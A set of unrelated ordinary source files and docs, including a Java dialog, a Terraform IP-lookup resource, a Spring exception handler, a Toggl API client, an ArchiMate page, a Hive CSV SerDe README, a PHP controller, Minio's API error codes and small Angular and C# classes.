	 * confidence.
	 */
	private void options() {

		try {
			m_Options[0] = Double.parseDouble(m_minSupport.getText());
			if (m_Options[0] < 0.0 || m_Options[0] > 1.0)
				m_Options[0] = 0.2;
		} catch (NumberFormatException e) {
			m_Options[0] = 0.2;
		}

		try {
			m_Options[1] = Double.parseDouble(m_minConfidence.getText());
			if (m_Options[1] < 0.0 || m_Options[1] > 1.0)
				m_Options[1] = 0.9;
		} catch (NumberFormatException e) {
			m_Options[1] = 0.9;
		}
	}

	/**
	 * Return the mining options.
	 *
	 * @return the mining options
	 */
	public double[] getOptions() {

		return m_Options;
	}

	/**
	 * Main method.
	 *
	 * @param args
	 *            ignored
	 */
	public static void main(String[] args) {

		final JFrame frame = new JFrame();

		JButton jb = new JButton("Test");
		jb.addActionListener(new java.awt.event.ActionListener() {
			public void actionPerformed(java.awt.event.ActionEvent e) {
				new OptionDialog(frame);
			}
		});

		frame.add(jb);
		frame.setSize(200, 200);
		frame.setLocationRelativeTo(null);
		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setVisible(true);
	}

} // OptionDialog


text:
package main

import (
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"strings"

	"github.com/hashicorp/terraform/helper/schema"
)

const (
	urlGetIP = "http://myip.vg"
)

func resourceTackMyIP() *schema.Resource {
	return &schema.Resource{
		Create: resourceTackMyIPCreate,
		Read:   resourceTackMyIPRead,
		Delete: resourceTackMyIPDelete,

		Schema: map[string]*schema.Schema{
			"ip": &schema.Schema{
				Type:        schema.TypeString,
				Computed:    true,
				Description: "Current IP address",
			},
		},
	}
}

func resourceTackMyIPCreate(d *schema.ResourceData, m interface{}) (err error) {
	log.Println("[INFO] calling create")
	ip, err := getMyIP()
	if err != nil {
		return
	}
	d.Set("ip", ip)
	d.SetId("myip!")
	return
}

func resourceTackMyIPRead(d *schema.ResourceData, m interface{}) (err error) {
	log.Println("[INFO] calling read")
	return
}

func resourceTackMyIPDelete(d *schema.ResourceData, m interface{}) error {
	log.Println("[INFO] calling delete")
	return nil
}

func getMyIP() (ip string, err error) {

	resp, err := http.Get(urlGetIP)
	if err != nil {
		err = fmt.Errorf("failed to get IP: %v", err)
		return
	}
	defer resp.Body.Close()

	if resp.StatusCode != 200 {
		err = fmt.Errorf("failed to get IP: invalid status code: %d", resp.StatusCode)
		return
	}

	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		return
	}

	ip = strings.TrimSpace(string(body))

	return
}


text:
package com.idugalic.commandside.blog;

import com.idugalic.commandside.blog.aggregate.exception.PublishBlogPostException;

import org.axonframework.commandhandling.CommandExecutionException;
import org.axonframework.commandhandling.model.ConcurrencyException;
import org.axonframework.messaging.interceptors.JSR303ViolationException;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

import org.springframework.dao.DataAccessException;
import org.springframework.dao.DataIntegrityViolationException;
import org.springframework.dao.InvalidDataAccessApiUsageException;
import org.springframework.http.HttpHeaders;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.http.converter.HttpMessageNotReadableException;
import org.springframework.security.access.AccessDeniedException;
import org.springframework.web.bind.MethodArgumentNotValidException;
import org.springframework.web.bind.annotation.ControllerAdvice;
import org.springframework.web.bind.annotation.ExceptionHandler;
import org.springframework.web.context.request.WebRequest;
import org.springframework.web.servlet.mvc.method.annotation.ResponseEntityExceptionHandler;

@ControllerAdvice
public class RestResponseEntityExceptionHandler extends ResponseEntityExceptionHandler {
    private static final Logger LOG = LoggerFactory.getLogger(RestResponseEntityExceptionHandler.class);

    public RestResponseEntityExceptionHandler() {
        super();
    }

    @Override
    protected ResponseEntity<Object> handleHttpMessageNotReadable(final HttpMessageNotReadableException ex, final HttpHeaders headers, final HttpStatus status,
                                                                  final WebRequest request) {
        final String bodyOfResponse = "HttpMessageNotReadableException";
        LOG.error(bodyOfResponse, ex);
        return handleExceptionInternal(ex, bodyOfResponse, headers, HttpStatus.BAD_REQUEST, request);
    }

    @Override
    protected ResponseEntity<Object> handleMethodArgumentNotValid(final MethodArgumentNotValidException ex, final HttpHeaders headers, final HttpStatus status,
                                                                  final WebRequest request) {
        final String bodyOfResponse = "MethodArgumentNotValidException";
        LOG.error(bodyOfResponse, ex);
        return handleExceptionInternal(ex, bodyOfResponse, headers, HttpStatus.BAD_REQUEST, request);
    }

    // TODO Consider handling validation and other errors/exceptions here
    @ExceptionHandler({ CommandExecutionException.class })
    protected ResponseEntity<Object> handleCommandExecution(final RuntimeException cex, final WebRequest request) {
        final String bodyOfResponse = "CommandExecutionException";
        if (null != cex.getCause()) {
            LOG.error("CAUSED BY: {} {}", cex.getCause().getClass().getName(), cex.getCause().getMessage());

            if (cex.getCause() instanceof ConcurrencyException) {
                return handleExceptionInternal(cex, bodyOfResponse + " - Concurrency issue", new HttpHeaders(), HttpStatus.CONFLICT, request);
            }
            if (cex.getCause() instanceof PublishBlogPostException) {
                return handleExceptionInternal(cex, bodyOfResponse + " - " + cex.getCause().getMessage(), new HttpHeaders(), HttpStatus.CONFLICT, request);
            }

        }
        return handleExceptionInternal(cex, bodyOfResponse, new HttpHeaders(), HttpStatus.BAD_REQUEST, request);
    }

    @ExceptionHandler({ InvalidDataAccessApiUsageException.class, DataAccessException.class })
    protected ResponseEntity<Object> handleConflict(final RuntimeException ex, final WebRequest request) {
        final String bodyOfResponse = "DataAccessException";
        LOG.error(bodyOfResponse, ex);
        return handleExceptionInternal(ex, bodyOfResponse, new HttpHeaders(), HttpStatus.CONFLICT, request);
    }

    @ExceptionHandler({ DataIntegrityViolationException.class })
    public ResponseEntity<Object> handleBadRequest(final DataIntegrityViolationException ex, final WebRequest request) {
        final String bodyOfResponse = "DataIntegrityViolationException";
        LOG.error(bodyOfResponse, ex);
        return handleExceptionInternal(ex, bodyOfResponse, new HttpHeaders(), HttpStatus.BAD_REQUEST, request);
    }

    @ExceptionHandler({ NullPointerException.class, IllegalArgumentException.class, IllegalStateException.class })
    public ResponseEntity<Object> handleInternal(final RuntimeException ex, final WebRequest request) {
        final String bodyOfResponse = "Internal Error";
        LOG.error(bodyOfResponse, ex);
        return handleExceptionInternal(ex, bodyOfResponse, new HttpHeaders(), HttpStatus.INTERNAL_SERVER_ERROR, request);
    }

    @ExceptionHandler({ JSR303ViolationException.class })
    public ResponseEntity<Object> handleValidation(final JSR303ViolationException ex, final WebRequest request) {
        // TODO do it properly !!!!
        final String bodyOfResponse = ex.getViolations().toString();
        LOG.error("Validation error", ex);
        return new ResponseEntity<Object>(bodyOfResponse, HttpStatus.BAD_REQUEST);
    }

    @ExceptionHandler({ AccessDeniedException.class })
    public ResponseEntity<Object> handleAccessDeniedException(Exception ex, WebRequest request) {
        return new ResponseEntity<Object>("Access denied message here", new HttpHeaders(), HttpStatus.FORBIDDEN);
    }

}


text:
require 'httparty'

class TogglReport
  include HTTParty

  base_uri "https://toggl.com/reports/api/v2"

  def details(*args)
    params = {
      basic_auth: {username: config["toggl_api_key"], password: "api_token"},
      query: {
        user_agent: "toggl_to_harvest Ruby gem",
        workspace_id: config["toggl_workspace_id"],
        user_ids: config["toggl_user_ids"].join(","),
      }
    }
    response = self.class.get("/details", params)

    if response.code == 200
      json_response = JSON.parse(response.body)
      json_response["data"]
    else
      raise "ERROR! Could not get time entries from Toggl API. Response status: #{response.code}\n #{response.body}"
    end
  end

  def config
    @config ||= YAML.load_file(File.expand_path("~/.toggl-to-harvest.yml"))
    @config
  end
end


text:
<!DOCTYPE html>

        <meta charset="UTF-8"/>
        <link rel="stylesheet" href="style.css" type="text/css"/>
        <title>Composition relationship</title>

The Composition relationship indicates that an object consists of a number of other objects.

The interpretation of a Composition relationship is that the whole or part of the source element is composed of the whole of the target element.

A specific kind of server can be modeled as a node composed of a device and system software implying an existence dependency between individual servers of that kind and the individual devices and system software instances of which they consist.

A Composition relationship is always allowed between two instances of the same element type.

Category:

Structural.

Examples:

An Application Component may be composed of two or more sub-components.


text:
This work was contributed to the apache hive project and is maintained there, [see details here](https://cwiki.apache.org/confluence/display/Hive/CSV+Serde).

-----

This SerDe adds *real* CSV input and ouput support to hive using the excellent [opencsv](http://opencsv.sourceforge.net/) library.

## Using

### Basic Use

```
add jar path/to/csv-serde.jar;

create table my_table(a string, b string, ...)
  row format serde 'com.bizo.hive.serde.csv.CSVSerde'
  stored as textfile
;
```

### Custom formatting

The default separator, quote, and escape characters from the `opencsv` library are:

```
DEFAULT_ESCAPE_CHARACTER \
DEFAULT_QUOTE_CHARACTER  "
DEFAULT_SEPARATOR        ,
```

You can also specify custom separator, quote, or escape characters.

```
add jar path/to/csv-serde.jar;

create table my_table(a string, b string, ...)
 row format serde 'com.bizo.hive.serde.csv.CSVSerde'
 with serdeproperties (
   "separatorChar" = "\t",
   "quoteChar"     = "'",
   "escapeChar"    = "\\"
  )
 stored as textfile
;
```

## Files

The following include opencsv along with the serde, so only the single jar is needed.  Currently built against Hive 0.11.0, but should be compatible with other hive versions.

* [csv-serde-1.1.3-1.2.1-all.jar](https://drone.io/github.com/ogrodnek/csv-serde/files/target/csv-serde-1.1.3-1.2.1-all.jar)

## Building

Run `mvn package` to build.  Both a basic artifact as well as a "fat jar" (with opencsv) are produced.

### Eclipse support

Run `mvn eclipse:eclipse` to generate `.project` and `.classpath` files for eclipse.

## License

csv-serde is open source and licensed under the [Apache 2 License](http://www.apache.org/licenses/LICENSE-2.0.html).


text:
<?php

namespace Web\Controller;

use Web\Model\UrlIds;
use Web\Model\Pages;

class PagesController extends AppController
{
    /**
     * construct
     *
     */
    public function __construct()
    {
        parent::__construct();
    }

    /**
     *
     *
     * @return Zend\View\Model
     */
    public function indexAction()
    {
        $this->setHead(array(
            'title' => $pageDetail['title']
        ));
        $param = $this->getParams(array(
            'force' => 0,
        ));
        $urlName = $this->params()->fromRoute('name', '');
        UrlIds::getDetail($urlName, $categoryId, $brandId, $productId, $optionId, $id);
        if (empty($id)) {
            return $this->notFoundAction();
        }
        if (isset($param['force']) && $param['force'] == 1) {
            Pages::removeCache($id);
        }
        $pageDetail = Pages::getDetail($id);
        if (empty($pageDetail)) {
            return $this->notFoundAction();
        }
        $this->setHead(array(
            'title' => $pageDetail['title']
        ));
        $navigationPage = $this->getServiceLocator()->get('web_navigation')->findBy('id', 'web_pages_index');
        if (!empty($navigationPage)) {
            $navigationPage->setLabel('');
            $navigationPage->addPage(array(
                'uri' => '',
                'label' => $pageDetail['title'],
                'active' => true
            ));
        }
        return $this->getViewModel(array(
                'pageDetail' => $pageDetail,
                'pages' => Pages::getAll(),
            )
        );
    }

    /**
     *
     *
     * @return Zend\View\Model
     */
    public function paymentAction()
    {
        $request = $this->getRequest();
        return $this->getViewModel(array(

            )
        );
    }

}


text:
/*
 * Minio Cloud Storage, (C) 2015 Minio, Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

package main

import (
	"encoding/xml"
	"net/http"
)

// APIError structure
type APIError struct {
	Code           string
	Description    string
	HTTPStatusCode int
}

// APIErrorResponse - error response format
type APIErrorResponse struct {
	XMLName    xml.Name `xml:"Error" json:"-"`
	Code       string
	Message    string
	Key        string
	BucketName string
	Resource   string
	RequestID  string `xml:"RequestId"`
	HostID     string `xml:"HostId"`
}

// APIErrorCode type of error status.
type APIErrorCode int

// Error codes, non exhaustive list - http://docs.aws.amazon.com/AmazonS3/latest/API/ErrorResponses.html
const (
	ErrNone APIErrorCode = iota
	ErrAccessDenied
	ErrBadDigest
	ErrBucketAlreadyExists
	ErrEntityTooSmall
	ErrEntityTooLarge
	ErrIncompleteBody
	ErrInternalError
	ErrInvalidAccessKeyID
	ErrInvalidBucketName
	ErrInvalidDigest
	ErrInvalidRange
	ErrInvalidMaxKeys
	ErrInvalidMaxUploads
	ErrInvalidMaxParts
	ErrInvalidPartNumberMarker
	ErrInvalidRequestBody
	ErrInvalidCopySource
	ErrInvalidCopyDest
	ErrInvalidPolicyDocument
	ErrMalformedXML
	ErrMissingContentLength
	ErrMissingContentMD5
	ErrMissingRequestBodyError
	ErrNoSuchBucket
	ErrNoSuchBucketPolicy
	ErrNoSuchKey
	ErrNoSuchUpload
	ErrNotImplemented
	ErrRequestTimeTooSkewed
	ErrSignatureDoesNotMatch
	ErrMethodNotAllowed
	ErrInvalidPart
	ErrInvalidPartOrder
	ErrAuthorizationHeaderMalformed
	ErrMalformedPOSTRequest
	ErrSignatureVersionNotSupported
	ErrBucketNotEmpty
	ErrAllAccessDisabled
	ErrMalformedPolicy
	ErrMissingFields
	ErrMissingCredTag
	ErrCredMalformed
	ErrInvalidRegion
	ErrInvalidService
	ErrInvalidRequestVersion
	ErrMissingSignTag
	ErrMissingSignHeadersTag
	ErrPolicyAlreadyExpired
	ErrMalformedDate
	ErrMalformedExpires
	ErrAuthHeaderEmpty
	ErrExpiredPresignRequest
	ErrMissingDateHeader
	ErrInvalidQuerySignatureAlgo
	ErrInvalidQueryParams
	ErrBucketAlreadyOwnedByYou
	// Add new error codes here.

	// Minio extended errors.
	ErrReadQuorum
	ErrWriteQuorum
	ErrStorageFull
	ErrObjectExistsAsDirectory
)

// error code to APIError structure, these fields carry respective
// descriptions for all the error responses.
var errorCodeResponse = map[APIErrorCode]APIError{
	ErrInvalidCopyDest: {
		Code:           "InvalidRequest",
		Description:    "This copy request is illegal because it is trying to copy an object to itself.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrInvalidCopySource: {
		Code:           "InvalidArgument",
		Description:    "Copy Source must mention the source bucket and key: sourcebucket/sourcekey.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrInvalidRequestBody: {
		Code:           "InvalidArgument",
		Description:    "Body shouldn't be set for this request.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrInvalidMaxUploads: {
		Code:           "InvalidArgument",
		Description:    "Argument maxUploads must be an integer between 0 and 2147483647.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrInvalidMaxKeys: {
		Code:           "InvalidArgument",
		Description:    "Argument maxKeys must be an integer between 0 and 2147483647.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrInvalidMaxParts: {
		Code:           "InvalidArgument",
		Description:    "Argument maxParts must be an integer between 1 and 10000.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrInvalidPartNumberMarker: {
		Code:           "InvalidArgument",
		Description:    "Argument partNumberMarker must be an integer.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrInvalidPolicyDocument: {
		Code:           "InvalidPolicyDocument",
		Description:    "The content of the form does not meet the conditions specified in the policy document.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrAccessDenied: {
		Code:           "AccessDenied",
		Description:    "Access Denied.",
		HTTPStatusCode: http.StatusForbidden,
	},
	ErrBadDigest: {
		Code:           "BadDigest",
		Description:    "The Content-Md5 you specified did not match what we received.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrBucketAlreadyExists: {
		Code:           "BucketAlreadyExists",
		Description:    "The requested bucket name is not available.",
		HTTPStatusCode: http.StatusConflict,
	},
	ErrEntityTooSmall: {
		Code:           "EntityTooSmall",
		Description:    "Your proposed upload is smaller than the minimum allowed object size.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrEntityTooLarge: {
		Code:           "EntityTooLarge",
		Description:    "Your proposed upload exceeds the maximum allowed object size.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrIncompleteBody: {
		Code:           "IncompleteBody",
		Description:    "You did not provide the number of bytes specified by the Content-Length HTTP header.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrInternalError: {
		Code:           "InternalError",
		Description:    "We encountered an internal error, please try again.",
		HTTPStatusCode: http.StatusInternalServerError,
	},
	ErrInvalidAccessKeyID: {
		Code:           "InvalidAccessKeyID",
		Description:    "The access key ID you provided does not exist in our records.",
		HTTPStatusCode: http.StatusForbidden,
	},
	ErrInvalidBucketName: {
		Code:           "InvalidBucketName",
		Description:    "The specified bucket is not valid.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrInvalidDigest: {
		Code:           "InvalidDigest",
		Description:    "The Content-Md5 you specified is not valid.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrInvalidRange: {
		Code:           "InvalidRange",
		Description:    "The requested range cannot be satisfied.",
		HTTPStatusCode: http.StatusRequestedRangeNotSatisfiable,
	},
	ErrMalformedXML: {
		Code:           "MalformedXML",
		Description:    "The XML you provided was not well-formed or did not validate against our published schema.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrMissingContentLength: {
		Code:           "MissingContentLength",
		Description:    "You must provide the Content-Length HTTP header.",
		HTTPStatusCode: http.StatusLengthRequired,
	},
	ErrMissingContentMD5: {
		Code:           "MissingContentMD5",
		Description:    "Missing required header for this request: Content-Md5.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrMissingRequestBodyError: {
		Code:           "MissingRequestBodyError",
		Description:    "Request body is empty.",
		HTTPStatusCode: http.StatusLengthRequired,
	},
	ErrNoSuchBucket: {
		Code:           "NoSuchBucket",
		Description:    "The specified bucket does not exist.",
		HTTPStatusCode: http.StatusNotFound,
	},
	ErrNoSuchBucketPolicy: {
		Code:           "NoSuchBucketPolicy",
		Description:    "The specified bucket does not have a bucket policy.",
		HTTPStatusCode: http.StatusNotFound,
	},
	ErrNoSuchKey: {
		Code:           "NoSuchKey",
		Description:    "The specified key does not exist.",
		HTTPStatusCode: http.StatusNotFound,
	},
	ErrNoSuchUpload: {
		Code:           "NoSuchUpload",
		Description:    "The specified multipart upload does not exist.",
		HTTPStatusCode: http.StatusNotFound,
	},
	ErrNotImplemented: {
		Code:           "NotImplemented",
		Description:    "A header you provided implies functionality that is not implemented.",
		HTTPStatusCode: http.StatusNotImplemented,
	},
	ErrRequestTimeTooSkewed: {
		Code:           "RequestTimeTooSkewed",
		Description:    "The difference between the request time and the server's time is too large.",
		HTTPStatusCode: http.StatusForbidden,
	},
	ErrSignatureDoesNotMatch: {
		Code:           "SignatureDoesNotMatch",
		Description:    "The request signature we calculated does not match the signature you provided.",
		HTTPStatusCode: http.StatusForbidden,
	},
	ErrMethodNotAllowed: {
		Code:           "MethodNotAllowed",
		Description:    "The specified method is not allowed against this resource.",
		HTTPStatusCode: http.StatusMethodNotAllowed,
	},
	ErrInvalidPart: {
		Code:           "InvalidPart",
		Description:    "One or more of the specified parts could not be found.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrInvalidPartOrder: {
		Code:           "InvalidPartOrder",
		Description:    "The list of parts was not in ascending order. The parts list must be specified in order by part number.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrAuthorizationHeaderMalformed: {
		Code:           "AuthorizationHeaderMalformed",
		Description:    "The authorization header is malformed; the region is wrong; expecting 'us-east-1'.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrMalformedPOSTRequest: {
		Code:           "MalformedPOSTRequest",
		Description:    "The body of your POST request is not well-formed multipart/form-data.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrSignatureVersionNotSupported: {
		Code:           "InvalidRequest",
		Description:    "The authorization mechanism you have provided is not supported. Please use AWS4-HMAC-SHA256.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrBucketNotEmpty: {
		Code:           "BucketNotEmpty",
		Description:    "The bucket you tried to delete is not empty.",
		HTTPStatusCode: http.StatusConflict,
	},
	ErrAllAccessDisabled: {
		Code:           "AllAccessDisabled",
		Description:    "All access to this bucket has been disabled.",
		HTTPStatusCode: http.StatusForbidden,
	},
	ErrMalformedPolicy: {
		Code:           "MalformedPolicy",
		Description:    "Policy has invalid resource.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrMissingFields: {
		Code:           "MissingFields",
		Description:    "Missing fields in request.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrMissingCredTag: {
		Code:           "InvalidRequest",
		Description:    "Missing Credential field for this request.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrCredMalformed: {
		Code:           "CredentialMalformed",
		Description:    "Credential field malformed does not follow accessKeyID/credScope.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrMalformedDate: {
		Code:           "MalformedDate",
		Description:    "Invalid date format header, expected to be in ISO8601, RFC1123 or RFC1123Z time format.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrInvalidRegion: {
		Code:           "InvalidRegion",
		Description:    "Region does not match.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrInvalidService: {
		Code:           "AccessDenied",
		Description:    "Service scope should be of value 's3'.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrInvalidRequestVersion: {
		Code:           "AccessDenied",
		Description:    "Request scope should be of value 'aws4_request'.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrMissingSignTag: {
		Code:           "AccessDenied",
		Description:    "Signature header missing Signature field.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrMissingSignHeadersTag: {
		Code:           "InvalidArgument",
		Description:    "Signature header missing SignedHeaders field.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrPolicyAlreadyExpired: {
		Code:           "AccessDenied",
		Description:    "Invalid according to Policy: Policy expired.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrMalformedExpires: {
		Code:           "MalformedExpires",
		Description:    "Malformed expires header, expected non-zero number.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrAuthHeaderEmpty: {
		Code:           "InvalidArgument",
		Description:    "Authorization header is invalid -- one and only one ' ' (space) required.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrMissingDateHeader: {
		Code:           "AccessDenied",
		Description:    "AWS authentication requires a valid Date or x-amz-date header",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrInvalidQuerySignatureAlgo: {
		Code:           "AuthorizationQueryParametersError",
		Description:    "X-Amz-Algorithm only supports \"AWS4-HMAC-SHA256\".",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrExpiredPresignRequest: {
		Code:           "AccessDenied",
		Description:    "Request has expired.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrInvalidQueryParams: {
		Code:           "AuthorizationQueryParametersError",
		Description:    "Query-string authentication version 4 requires the X-Amz-Algorithm, X-Amz-Credential, X-Amz-Signature, X-Amz-Date, X-Amz-SignedHeaders, and X-Amz-Expires parameters.",
		HTTPStatusCode: http.StatusBadRequest,
	},
	ErrBucketAlreadyOwnedByYou: {
		Code:           "BucketAlreadyOwnedByYou",
		Description:    "Your previous request to create the named bucket succeeded and you already own it.",
		HTTPStatusCode: http.StatusConflict,
	},
	/// Minio extensions.
	ErrStorageFull: {
		Code:           "XMinioStorageFull",
		Description:    "Storage backend has reached its minimum free disk threshold. Please delete few objects to proceed.",
		HTTPStatusCode: http.StatusInternalServerError,
	},
	ErrObjectExistsAsDirectory: {
		Code:           "XMinioObjectExistsAsDirectory",
		Description:    "Object name already exists as a directory.",
		HTTPStatusCode: http.StatusConflict,
	},
	ErrReadQuorum: {
		Code:           "XMinioReadQuorum",
		Description:    "Multiple disk failures, unable to reconstruct data.",
		HTTPStatusCode: http.StatusServiceUnavailable,
	},
	ErrWriteQuorum: {
		Code:           "XMinioWriteQuorum",
		Description:    "Multiple disks failures, unable to write data.",
		HTTPStatusCode: http.StatusServiceUnavailable,
	},
	// Add your error structure here.
}

// toAPIErrorCode - Converts embedded errors. Convenience
// function written to handle all cases where we have known types of
// errors returned by underlying layers.
func toAPIErrorCode(err error) (apiErr APIErrorCode) {
	if err == nil {
		return ErrNone
	}
	// Verify if the underlying error is signature mismatch.
	if err == errSignatureMismatch {
		return ErrSignatureDoesNotMatch
	}
	switch err.(type) {
	case StorageFull:
		apiErr = ErrStorageFull
	case BadDigest:
		apiErr = ErrBadDigest
	case IncompleteBody:
		apiErr = ErrIncompleteBody
	case ObjectExistsAsDirectory:
		apiErr = ErrObjectExistsAsDirectory
	case BucketNameInvalid:
		apiErr = ErrInvalidBucketName
	case BucketNotFound:
		apiErr = ErrNoSuchBucket
	case BucketNotEmpty:
		apiErr = ErrBucketNotEmpty
	case BucketExists:
		apiErr = ErrBucketAlreadyOwnedByYou
	case ObjectNotFound:
		apiErr = ErrNoSuchKey
	case ObjectNameInvalid:
		apiErr = ErrNoSuchKey
	case InvalidUploadID:
		apiErr = ErrNoSuchUpload
	case InvalidPart:
		apiErr = ErrInvalidPart
	case InsufficientWriteQuorum:
		apiErr = ErrWriteQuorum
	case InsufficientReadQuorum:
		apiErr = ErrReadQuorum
	case PartTooSmall:
		apiErr = ErrEntityTooSmall
	default:
		apiErr = ErrInternalError
	}
	return apiErr
}

// getAPIError provides API Error for input API error code.
func getAPIError(code APIErrorCode) APIError {
	return errorCodeResponse[code]
}

// getErrorResponse gets in standard error and resource value and
// provides a encodable populated response values
func getAPIErrorResponse(err APIError, resource string) APIErrorResponse {
	var data = APIErrorResponse{}
	data.Code = err.Code
	data.Message = err.Description
	if resource != "" {
		data.Resource = resource
	}
	// TODO implement this in future
	data.RequestID = "3L137"
	data.HostID = "3L137"

	return data
}


text:
(function() {
    'use strict';

    angular
        .module('stater.services.user',[])
        .provider('UserLocal', UserLocal);

    function UserLocal() {

      var user = {};

      this.setUser = function(user_data) {
        window.localStorage.setItem('_user',JSON.stringify(user_data));
        user = user_data;
      };

      function User() {
          this.user = function() {
            return window.localStorage.getItem('_user');
          }
        }

      this.$get = function(){
        return new User();
      };
    }

})();


text:
namespace Exceptions
{
    using System;
    using System.Linq;
    using System.Collections.Generic;

    public class Student
    {
        public string FirstName { get; set; }
        public string LastName { get; set; }
        public IList<Exam> Exams { get; set; }

        public Student(string firstName, string lastName, IList<Exam> exams = null)
        {
            if (firstName == null)
            {
                Console.WriteLine("Invalid first name!");
                Environment.Exit(0);
            }

            if (lastName == null)
            {
                Console.WriteLine("Invalid first name!");
                Environment.Exit(0);
            }

            this.FirstName = firstName;
            this.LastName = lastName;
            this.Exams = exams;
        }

        public IList<ExamResult> CheckExams()
        {
            if (this.Exams == null)
            {
                throw new Exception("Wow! Error happened!!!");
            }

            if (this.Exams.Count == 0)
            {
                Console.WriteLine("The student has no exams!");
                return null;
            }

            IList<ExamResult> results = new List<ExamResult>();
            for (int i = 0; i < this.Exams.Count; i++)
            {
                results.Add(this.Exams[i].Check());
            }

            return results;
        }

        public double CalcAverageExamResultInPercents()
        {
            if (this.Exams == null)
            {
                // Cannot calculate average on missing exams
                throw new Exception();
            }

            if (this.Exams.Count == 0)
            {
                // No exams --> return -1;
                return -1;
            }

            double[] examScore = new double[this.Exams.Count];
            IList<ExamResult> examResults = CheckExams();
            for (int i = 0; i < examResults.Count; i++)
            {
                examScore[i] =
                    ((double)examResults[i].Grade - examResults[i].MinGrade) /
                    (examResults[i].MaxGrade - examResults[i].MinGrade);
            }

            return examScore.Average();
        }
    }
}